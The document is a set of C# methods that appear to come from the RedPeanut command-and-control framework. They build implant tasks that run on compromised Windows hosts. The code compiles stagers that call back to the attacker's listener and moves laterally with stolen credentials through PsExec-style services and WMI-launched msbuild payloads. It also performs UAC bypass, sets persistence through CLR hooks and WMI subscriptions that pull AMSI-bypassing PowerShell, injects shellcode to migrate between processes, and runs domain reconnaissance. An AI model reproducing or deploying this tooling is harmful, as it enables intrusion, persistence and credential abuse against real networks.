private void Run() { List <string> args = new List <string>(); if (username == null || password == null || domain == null || targethost == null || lhost == null || profile == 0 || (lport == 0 && lpipename == null)) { return; } else { //Create stager stream gzip string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profile)) { string source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE)); if (lpipename == null) { //Http no pivot stager ListenerConfig conf = new ListenerConfig("", lhost, lport, Program.GetC2Manager().GetC2Server().GetProfile(profile), profile); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf); } else { //NamedPipe enable stager ListenerPivotConfig conf = new ListenerPivotConfig("", lhost, lpipename, Program.GetC2Manager().GetC2Server().GetProfile(profile)); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf); } string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40))); //Create TaskMsg gzip if (agent != null) { //Create Service stream gzip source = File.ReadAllText(Path.Combine(folderrpath, SERVICE_TEMPLATE)) .Replace("#NUTCLR#", Convert.ToBase64String(CompressGZipAssembly(Builder.GenerateShellcode(stagerstr, RandomString(10, new Random()) + ".exe", "RedPeanutRP", "Main", new string[] { "" })))) .Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profile).Spawn); string servicestr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()), 40, "exe"))); //Create SharpPsExec stream gzip source = File.ReadAllText(Path.Combine(folderrpath, SHARPSEXEC_TEMPLATE)) .Replace("#DOMAIN#", domain) .Replace("#USERNAME#", username) .Replace("#PASSWORD#", password) .Replace("#HOSTANME#", targethost) .Replace("#ASSEMBLY#", servicestr) .Replace("#EXENAME#", (!string.IsNullOrEmpty(exename)) ? exename : RandomAString(10, new Random()) + ".exe") .Replace("#SERVICEDISPLAYNAME#", (!string.IsNullOrEmpty(servdispname)) ? servdispname : RandomAString(10, new Random())) .Replace("#SERVICEDESCRIPTION#", (!string.IsNullOrEmpty(servdescr)) ? servdescr : RandomAString(10, new Random())) .Replace("#SERVICENAME#", (!string.IsNullOrEmpty(servname)) ? servname : RandomAString(10, new Random())); string sharppsexecstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40))); RunAssemblyBase64(sharppsexecstr, "SharpPsExec.Program", new string[] { "pippo" }, agent); } } } }
//Send agentid //RC4 with serverkey private string CreateMsgAgentId(IAgentInstance agent, string serverkey, int profileid, int targetframework) { string mesg = ""; string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid)) { AesManaged aes = agent.AesManager; AgentIdMsg msg = new AgentIdMsg { agentid = agent.AgentId, sessionkey = aes.Key, sessioniv = aes.IV }; HttpProfile profile = Program.GetC2Manager().GetC2Server().GetProfile(profileid); ListenerConfig conf = new ListenerConfig("", ((AgentInstanceHttp)agent).GetAddress(), ((AgentInstanceHttp)agent).GetPort(), profile, profileid); string source = System.IO.File.ReadAllText(Path.Combine(folderrpath, AGENT_TEMPLATE)); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf); msg.stage = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, agent.AgentId + ".dll", targetframework, compprofile: CompilationProfile.Agent))); string agentidnmsg = JsonConvert.SerializeObject(msg, Formatting.Indented); mesg = EncryptMessage(serverkey, agentidnmsg); } return(mesg); }
private void Run() { if (string.IsNullOrEmpty(command) && !File.Exists(file)) { return; } try { string commandstr = ""; if (File.Exists(file)) { commandstr = File.ReadAllText(file); } else { commandstr = command; } // Parse .cs sorce and repalce variable string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); string source = File.ReadAllText(Path.Combine(folderrpath, POWERSHELLEXECUTER_TEMPLATE)); //source = ProfileReplacer.ReplaceFileUpLoad(source, filesrc, destinationpath, destinationfilename, username, password, domainname); string assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40))); RunAssemblyBase64(assembly, "PowerShellExecuter", new string[] { commandstr }, agent); } catch (Exception) { Console.WriteLine("[*] Error creating task"); } }
private void Run() { string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); List <string> args = new List <string>(); if (!File.Exists(assemblypath)) { Console.WriteLine("[x] File not found"); return; } if (!string.IsNullOrEmpty(assemblyargs)) { if (assemblyargs.Split(" ").Count() < 2) { args.Add(assemblyargs); } else { foreach (string str in assemblyargs.Split(" ")) { args.Add(str); } } } string assemblyGzipB64 = Convert.ToBase64String(CompressGZipAssembly(File.ReadAllBytes(assemblypath))); string source = File.ReadAllText(Path.Combine(folderrpath, EXECUTE_ASSEMBLY_TEMPLATE)) .Replace("#COMPRESSEDASSEMBLY#", assemblyGzipB64); assemblyGzipB64 = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", agent.TargetFramework, compprofile: CompilationProfile.Generic))); RunAssemblyBase64(assemblyGzipB64, "AssmblyLoader", args.ToArray(), agent); }
private void RunGetUid() { string source = File.ReadAllText(Path.Combine(folderrpath, STANDARD_TEMPLATE)); string commandstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", agent.TargetFramework, compprofile: CompilationProfile.StandardCommand))); RunStandardBase64(commandstr, "GetUid", "StandardCommandImpl.Program", new string[] { " " }, agent); }
private void RunGetCp(string args) { string[] largs = args.Split(" "); if (largs.Length < 2) { Console.WriteLine("[!] usage: cp filsesrc filedest"); return; } string source = File.ReadAllText(Path.Combine(folderrpath, STANDARD_TEMPLATE)); string commandstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", agent.TargetFramework, compprofile: CompilationProfile.StandardCommand))); RunStandardBase64(commandstr, "GetCp", "StandardCommandImpl.Program", largs, agent); }
private void RunMigrate(int pid) { string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); //Create RedPeanutAgent assembly string source = File.ReadAllText(Path.Combine(folderrpath, AGENT_TEMPLATE)); ListenerConfig conf = new ListenerConfig("", ((AgentInstanceHttp)agent).GetAddress(), ((AgentInstanceHttp)agent).GetPort(), RedPeanutC2.server.GetProfile(((AgentInstanceHttp)agent).GetProfileid()), ((AgentInstanceHttp)agent).GetProfileid()); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), ((AgentInstanceHttp)agent).TargetFramework, conf); string b64CompressedAgent = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, agent.AgentId + ".dll", ((AgentInstanceHttp)agent).TargetFramework, compprofile: CompilationProfile.Agent))); string instanceid = RandomAString(10, new Random()); //Create AgentState AgentState astate = new AgentState { Agentid = agent.AgentId, sessionkey = agent.AesManager.Key, sessioniv = agent.AesManager.IV, cookie = ((AgentInstanceHttp)agent).Cookie, RequestInstanceid = instanceid }; if (agent.Pivoter != null) { astate.pipename = agent.Pivoter.AgentId; } string b64State = Convert.ToBase64String(Utility.CompressGZipAssembly(Encoding.Default.GetBytes(JsonConvert.SerializeObject(astate, Formatting.Indented)))); string[] argsm = Utility.Split(b64State, 100).ToArray(); //Read template source = File.ReadAllText(Path.Combine(folderrpath, MIGRATE_TEMPLATE)); //Replace source = Replacer.ReplaceMigrate(source, Convert.ToBase64String(CompressGZipAssembly( Builder.GenerateShellcode(b64CompressedAgent, RandomAString(10, new Random()) + ".exe", "RedPeanutAgent.Worker", "LoadAndRun", argsm) )), pid); //Run string migrate = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", ((AgentInstanceHttp)agent).TargetFramework, compprofile: CompilationProfile.Migrate))); RunAssemblyBase64( migrate, "RedPeanutMigrate", new string[] { " " }, agent, tasktype: "migrate", instanceid: instanceid); }
private void Run() { string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); try { string source = File.ReadAllText(Path.Combine(folderrpath, DOMAIN_RECON)); string commandstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", agent.TargetFramework, compprofile: CompilationProfile.SSploitEnumerationDomain))); RunStandardBase64(commandstr, "GetDomainComputers", "SharpSploitDomainReconImpl.Program", new string[] { " " }, agent); } catch (Exception) { Console.WriteLine("[*] Errore generating task"); } }
private void Run() { if (string.IsNullOrEmpty(filepath) || !File.Exists(filepath)) { return; } try { string filesrc = Convert.ToBase64String(CompressGZipAssembly(File.ReadAllBytes(filepath))); string destinationpath = "."; if (!string.IsNullOrEmpty(pathdest)) { destinationpath = pathdest.Replace("\\", "\\\\"); } string destinationfilename = ""; if (!string.IsNullOrEmpty(filename)) { destinationfilename = filename; } string domainname = "."; if (!string.IsNullOrEmpty(domain)) { domainname = domain; } // Parse .cs sorce and repalce variable string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); string source = File.ReadAllText(Path.Combine(folderrpath, FILEUPLOAD_TEMPLATE)); source = Replacer.ReplaceFileUpLoad(source, filesrc, destinationpath, destinationfilename, username, password, domainname); string assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, "FileUpLoader.dll", 40))); RunAssemblyBase64(assembly, "FileUpLoader", new string[] { "pippo" }, agent); } catch (Exception) { Console.WriteLine("[*] Error creating task"); } }
private void Run() { if (string.IsNullOrEmpty(filesrc) || string.IsNullOrEmpty(filename)) { return; } try { string srcpath = ""; if (!string.IsNullOrEmpty(filesrc)) { srcpath = filesrc.Replace("\\", "\\\\"); } string filedest = ""; if (!string.IsNullOrEmpty(filename)) { filedest = filename; } string domainname = "."; if (!string.IsNullOrEmpty(domain)) { domainname = domain; } // Parse .cs sorce and repalce variable string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); string source = File.ReadAllText(Path.Combine(folderrpath, FILEDOWNLOAD_TEMPLATE)); source = Replacer.ReplaceFileDownLoad(source, srcpath, username, password, domainname); string assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, "FileDownLoader.dll", agent.TargetFramework))); RunAssemblyBase64(assembly, "FileDownLoader", new string[] { " " }, agent, "download", filedest); } catch (Exception) { Console.WriteLine("[*] Error creating task"); } }
private void Run() { string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); if (string.IsNullOrEmpty(computername)) { Console.WriteLine("Must provide computer name or ip address of the target"); return; } try { string source = File.ReadAllText(Path.Combine(folderrpath, DOMAIN_RECON)); string commandstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", agent.TargetFramework, compprofile: CompilationProfile.SSploitEnumerationDomain))); RunStandardBase64(commandstr, "GetNetLocalGroupMembers", "SharpSploitDomainReconImpl.Program", new string[] { computername.Trim(), group }, agent); } catch (Exception) { Console.WriteLine("[*] Errore generating task"); } }
private void Run() { try { string host = ((AgentInstanceHttp)agent).GetAddress(); int port = ((AgentInstanceHttp)agent).GetPort(); int profileid = ((AgentInstanceHttp)agent).GetProfileid(); int targetframework = ((AgentInstanceHttp)agent).TargetFramework; string pipename = ""; if (agent.Pivoter != null) { host = agent.Pivoter.SysInfo.Ip; port = 0; profileid = RedPeanutC2.server.GetDefaultProfile(); targetframework = agent.TargetFramework; pipename = agent.AgentId; } else { host = ((AgentInstanceHttp)agent).GetAddress(); port = ((AgentInstanceHttp)agent).GetPort(); profileid = ((AgentInstanceHttp)agent).GetProfileid(); targetframework = agent.TargetFramework; } string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid)) { string source; if (string.IsNullOrEmpty(pipename)) { //Http no pivot stager ListenerConfig conf = new ListenerConfig("", host, port, Program.GetC2Manager().GetC2Server().GetProfile(profileid), profileid); source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE)); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf); } else { //NamedPipe enable stager ListenerPivotConfig conf = new ListenerPivotConfig("", host, pipename, Program.GetC2Manager().GetC2Server().GetProfile(profileid)); source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE)); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf); } string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework))); ModuleConfig modconfig = new ModuleConfig { Assembly = stagerstr, Method = "Execute", Moduleclass = "RedPeanutRP", Parameters = new string[] { "pippo" } }; TaskMsg task = new TaskMsg { TaskType = "module", ModuleTask = modconfig, Agentid = agent.AgentId }; if (agent.Pivoter != null) { task.AgentPivot = agent.Pivoter.AgentId; } source = File.ReadAllText(Path.Combine(folderrpath, SPAWN_TEMPLATE)) .Replace("#NUTCLR#", ReadResourceFile(PL_COMMAND_NUTCLRWNF)) .Replace("#TASK#", Convert.ToBase64String(CompressGZipAssembly(Encoding.Default.GetBytes(JsonConvert.SerializeObject(task))))) .Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profileid).Spawn) .Replace("#SHELLCODE#", null) .Replace("#USERNAME#", username) .Replace("#PASSWORD#", password) .Replace("#DOMAIN#", domain) .Replace("#PROCESS#", null); string spawnprocess = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework, compprofile: CompilationProfile.UACBypass))); RunAssemblyBase64( spawnprocess, "RedPeanutSpawn", new string[] { " " }, agent); } } catch (Exception) { Console.WriteLine("[*] Errore generating task"); } }
private void Run() { List <string> args = new List <string>(); if (username == null || password == null || domain == null || targethost == null || lhost == null || profile == 0 || (lport == 0 && lpipename == null)) { return; } else { //Create stager stream gzip string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profile)) { string source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE)); if (lpipename == null) { //Http no pivot stager ListenerConfig conf = new ListenerConfig("", lhost, lport, Program.GetC2Manager().GetC2Server().GetProfile(profile), profile); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf); } else { //NamedPipe enable stager ListenerPivotConfig conf = new ListenerPivotConfig("", lhost, lpipename, Program.GetC2Manager().GetC2Server().GetProfile(profile)); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf); } string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()), 40))); //Create TaskMsg gzip if (agent != null) { ModuleConfig modconfig = new ModuleConfig { Assembly = stagerstr, Method = "Execute", Moduleclass = "RedPeanutRP", Parameters = new string[] { "pippo" } }; TaskMsg task = new TaskMsg { TaskType = "module", ModuleTask = modconfig, Agentid = agent.AgentId }; if (agent.Pivoter != null) { task.AgentPivot = agent.Pivoter.AgentId; } //Create Service stream gzip source = File.ReadAllText(Path.Combine(folderrpath, SERVICE_TEMPLATE)) .Replace("#NUTCLR#", ReadResourceFile(PL_COMMAND_NUTCLR)) .Replace("#TASK#", Convert.ToBase64String(CompressGZipAssembly(Encoding.Default.GetBytes(JsonConvert.SerializeObject(task))))) .Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profile).Spawn); string servicestr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()), 40, "exe"))); //Create SharpPsExec stream gzip source = File.ReadAllText(Path.Combine(folderrpath, SHARPSEXEC_TEMPLATE)) .Replace("#DOMAIN#", domain) .Replace("#USERNAME#", username) .Replace("#PASSWORD#", password) .Replace("#HOSTANME#", targethost) .Replace("#ASSEMBLY#", servicestr) .Replace("#EXENAME#", (!string.IsNullOrEmpty(exename)) ? exename : RandomAString(10, new Random()) + ".exe") .Replace("#SERVICEDISPLAYNAME#", (!string.IsNullOrEmpty(servdispname)) ? servdispname : RandomAString(10, new Random())) .Replace("#SERVICEDESCRIPTION#", (!string.IsNullOrEmpty(servdescr)) ? servdescr : RandomAString(10, new Random())) .Replace("#SERVICENAME#", (!string.IsNullOrEmpty(servname)) ? servname : RandomAString(10, new Random())); string sharppsexecstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40))); RunAssemblyBase64(sharppsexecstr, "SharpPsExec.Program", new string[] { "pippo" }, agent); } } } }
private void Run() { try { string host = ((AgentInstanceHttp)agent).GetAddress(); int port = ((AgentInstanceHttp)agent).GetPort(); int profileid = ((AgentInstanceHttp)agent).GetProfileid(); int targetframework = ((AgentInstanceHttp)agent).TargetFramework; string pipename = ""; if (!string.IsNullOrEmpty(process)) { if (agent.Pivoter != null) { host = agent.Pivoter.SysInfo.Ip; port = 0; profileid = RedPeanutC2.server.GetDefaultProfile(); targetframework = agent.TargetFramework; pipename = agent.AgentId; } else { host = ((AgentInstanceHttp)agent).GetAddress(); port = ((AgentInstanceHttp)agent).GetPort(); profileid = ((AgentInstanceHttp)agent).GetProfileid(); targetframework = agent.TargetFramework; } string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid)) { string source; if (string.IsNullOrEmpty(pipename)) { //Http no pivot stager ListenerConfig conf = new ListenerConfig("", host, port, Program.GetC2Manager().GetC2Server().GetProfile(profileid), profileid); source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE)); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf); } else { //NamedPipe enable stager ListenerPivotConfig conf = new ListenerPivotConfig("", host, pipename, Program.GetC2Manager().GetC2Server().GetProfile(profileid)); source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE)); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf); } string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework))); string hookfilename = RandomAString(10, new Random()) + ".dll"; //string clrhook = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, hookfilename, targetframework, compprofile: CompilationProfile.PersistenceCLR))); string keyfilename = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, KEYFILE_FOLDER, "key.snk"); if (clrversion != 35 && clrversion != 40) { clrversion = 40; } source = File.ReadAllText(Path.Combine(folderrpath, CLRHOOKINSTALL_TEMPLATE)) .Replace("#KEYFILE#", Convert.ToBase64String(CompressGZipAssembly(File.ReadAllBytes(keyfilename)))) .Replace("#STAGER#", stagerstr) .Replace("#FILENAME#", hookfilename) .Replace("#PROCESS#", process) .Replace("#CLRVERSION#", clrversion.ToString()); string clrhookinstaller = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework, compprofile: CompilationProfile.UACBypass))); if (uninstall) { RunAssemblyBase64(clrhookinstaller, "PersCLRInstall", new string[] { "cleanenv" }, agent); } else { RunAssemblyBase64(clrhookinstaller, "PersCLRInstall", new string[] { "install" }, agent); } } } } catch (Exception) { Console.WriteLine("[*] Errore generating task"); } }
private void Run() { try { if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password) || string.IsNullOrEmpty(lhost) || (string.IsNullOrEmpty(lpipename) && lport < 1) || profile < 1) { return; } else { // Parse .cs sorce and repalce variable string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profile)) { string domainname = "."; if (!string.IsNullOrEmpty(domain)) { domainname = domain; } string source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE)); if (lpipename == null) { //Http no pivot stager ListenerConfig conf = new ListenerConfig("", lhost, lport, Program.GetC2Manager().GetC2Server().GetProfile(profile), profile); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf); } else { //NamedPipe enable stager ListenerPivotConfig conf = new ListenerPivotConfig("", lhost, lpipename, Program.GetC2Manager().GetC2Server().GetProfile(profile)); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf); } string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40))); //Create TaskMsg gzip if (agent != null) { source = File.ReadAllText(Path.Combine(folderrpath, SPAWNER_TEMPLATE)) .Replace("#NUTCLR#", Convert.ToBase64String(CompressGZipAssembly(Builder.GenerateShellcode(stagerstr, RandomString(10, new Random()) + ".exe", "RedPeanutRP", "Main", new string[] { "" })))) .Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profile).Spawn) .Replace("#USERNAME#", username) .Replace("#PASSWORD#", password) .Replace("#DOMAIN#", domain); string spawner = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40))); Dictionary <string, string> msbuildargs = new Dictionary <string, string>(); msbuildargs.Add("#{taskname}", taskname); MSBuildGenerator gen = new MSBuildGenerator(spawner, msbuildargs); string pathdest = string.Format(@"\\{0}\C$\Windows\temp", targethost); string filename = RandomAString(10, new Random()).ToLower() + ".xml"; string filesrc = Convert.ToBase64String(CompressGZipAssembly(Encoding.Default.GetBytes(gen.GetScriptText()))); string destinattionfull = pathdest.TrimEnd('\\') + @"\" + filename; string destinationpath = "."; if (!string.IsNullOrEmpty(pathdest)) { destinationpath = pathdest.Replace("\\", "\\\\"); } string destinationfilename = ""; if (!string.IsNullOrEmpty(filename)) { destinationfilename = filename; } // Parse .cs sorce and repalce variable source = File.ReadAllText(Path.Combine(folderrpath, FILEUPLOAD_TEMPLATE)); source = Replacer.ReplaceFileUpLoad(source, filesrc, destinationpath, destinationfilename, username, password, domainname); string assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, "FileUpLoader.dll", 40))); //Task agent to copy file to target host RunAssemblyBase64(assembly, "FileUpLoader", new string[] { "pippo" }, agent); //Run msbuld via wmi List <string> args = new List <string>(); args.Add("action=create"); args.Add("computername=" + targethost); args.Add("username="******"\\" + username); args.Add("password="******"command=C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe C:\\Windows\\temp\\" + destinationfilename); string s = ""; foreach (string ss in args.ToArray()) { s += ss; } Console.WriteLine("String command: " + s); RunAssembly(PL_MODULE_SHARPWMI, "SharpWMI.Program", args.ToArray(), agent); } } } } catch (Exception e) { Console.WriteLine("[*] Error running task build {0}", e.Message); } }
private void Run() { try { string host = ((AgentInstanceHttp)agent).GetAddress(); int port = ((AgentInstanceHttp)agent).GetPort(); int profileid = ((AgentInstanceHttp)agent).GetProfileid(); int targetframework = ((AgentInstanceHttp)agent).TargetFramework; string pipename = ""; if (agent.Pivoter != null) { host = agent.Pivoter.SysInfo.Ip; port = 0; profileid = RedPeanutC2.server.GetDefaultProfile(); targetframework = agent.TargetFramework; pipename = agent.AgentId; } else { host = ((AgentInstanceHttp)agent).GetAddress(); port = ((AgentInstanceHttp)agent).GetPort(); profileid = ((AgentInstanceHttp)agent).GetProfileid(); targetframework = agent.TargetFramework; } string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid)) { string source; if (string.IsNullOrEmpty(pipename)) { //Http no pivot stager ListenerConfig conf = new ListenerConfig("", host, port, Program.GetC2Manager().GetC2Server().GetProfile(profileid), profileid); source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE)); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf); } else { //NamedPipe enable stager ListenerPivotConfig conf = new ListenerPivotConfig("", host, pipename, Program.GetC2Manager().GetC2Server().GetProfile(profileid)); source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE)); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf); } string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework))); /*ModuleConfig modconfig = new ModuleConfig * { * Assembly = stagerstr, * Method = "Execute", * Moduleclass = "RedPeanutRP", * Parameters = new string[] { "pippo" } * }; * * TaskMsg task = new TaskMsg * { * TaskType = "module", * ModuleTask = modconfig, * Agentid = agent.AgentId * }; * * if (agent.Pivoter != null) * task.AgentPivot = agent.Pivoter.AgentId; * */ source = File.ReadAllText(Path.Combine(folderrpath, UACTOKEN_TEMPLATE)) .Replace("#NUTCLR#", Convert.ToBase64String(CompressGZipAssembly( Builder.GenerateShellcode(stagerstr, RandomAString(10, new Random()) + ".exe", "RedPeanutRP", "Execute", new string[] { "pippo" }) )) ) .Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profileid).Spawn) .Replace("#BINARY#", binary) .Replace("#ARGUMENTS#", arguments) .Replace("#PATH#", path); string uacbypass = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework, compprofile: CompilationProfile.UACBypass))); RunAssemblyBase64( uacbypass, "TokenManipulation", new string[] { " " }, agent); } } catch (Exception) { Console.WriteLine("[*] Errore generating task"); } }
private void Run() { try { List <string> args = new List <string>(); if (!string.IsNullOrEmpty(processname) && !string.IsNullOrEmpty(eventname)) { //Create webresource //Register web resource string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER); string filename = RandomAString(10, new Random()).ToLower(); ListenerConfig conf = new ListenerConfig("", ((AgentInstanceHttp)agent).GetAddress(), ((AgentInstanceHttp)agent).GetPort(), Program.GetC2Manager().GetC2Server().GetProfile(((AgentInstanceHttp)agent).GetProfileid()), ((AgentInstanceHttp)agent).GetProfileid()); string source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE)); source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf); string assemblyBase64 = Builder.GenerateDllBase64(source, filename + ".dll"); byte[] assemblybytte = Convert.FromBase64String(assemblyBase64); string agentCompBase64 = Convert.ToBase64String(CompressAssembly(assemblybytte)); Dictionary <string, string> argagent = new Dictionary <string, string>(); argagent.Add("#{bytelen}", assemblybytte.Length.ToString()); string uricontent = Program.GetC2Manager().GetC2Server().GetProfile(((AgentInstanceHttp)agent).GetProfileid()).ContentUri; uricontent = uricontent.TrimStart('/'); if (!uricontent.EndsWith("/")) { uricontent += "/"; } Dictionary <string, string> arg = new Dictionary <string, string> { { "#{lhost}", ((AgentInstanceHttp)agent).GetAddress() }, { "#{lport}", ((AgentInstanceHttp)agent).GetPort().ToString() }, { "#{uri}", uricontent + "s2_" + filename + ".ps1" } }; PowershellAmsiGenerator gen_s1 = new PowershellAmsiGenerator(agentCompBase64, arg); PowershellAgentGenerator gen_s2 = new PowershellAgentGenerator(agentCompBase64, argagent); //Add resource to webserver storage C2Manager c2manager = Program.GetC2Manager(); c2manager.GetC2Server().RegisterWebResource(filename + ".ps1", new WebResourceInstance(gen_s1, filename + ".ps1")); c2manager.GetC2Server().RegisterWebResource("s2_" + filename + ".ps1", new WebResourceInstance(gen_s2, "s2_" + filename + ".ps1")); Console.WriteLine("[*] Resource added to webserver resources"); string proto = ""; if (ssl) { proto = "https"; } else { proto = "http"; } string url = string.Format("{0}://{1}:{2}/{3}{4}", proto, ((AgentInstanceHttp)agent).GetAddress(), ((AgentInstanceHttp)agent).GetPort(), uricontent, filename + ".ps1"); string perssrc = File.ReadAllText(Path.Combine(folderrpath, PERSWMI_TEMPLATE)); perssrc = Replacer.ReplacePersWMI(perssrc, eventname, url, processname, encoded); RunAssemblyBase64( Convert.ToBase64String( CompressGZipAssembly( Builder.BuidStreamAssembly(perssrc, RandomAString(10, new Random()).ToLower() + ".dll", 40, compprofile: CompilationProfile.Persistence) ) ), "PersWMI", new string[] { " " }, agent); return; } } catch (Exception e) { Console.WriteLine("[x] Error generating task {0}", e.Message); } }
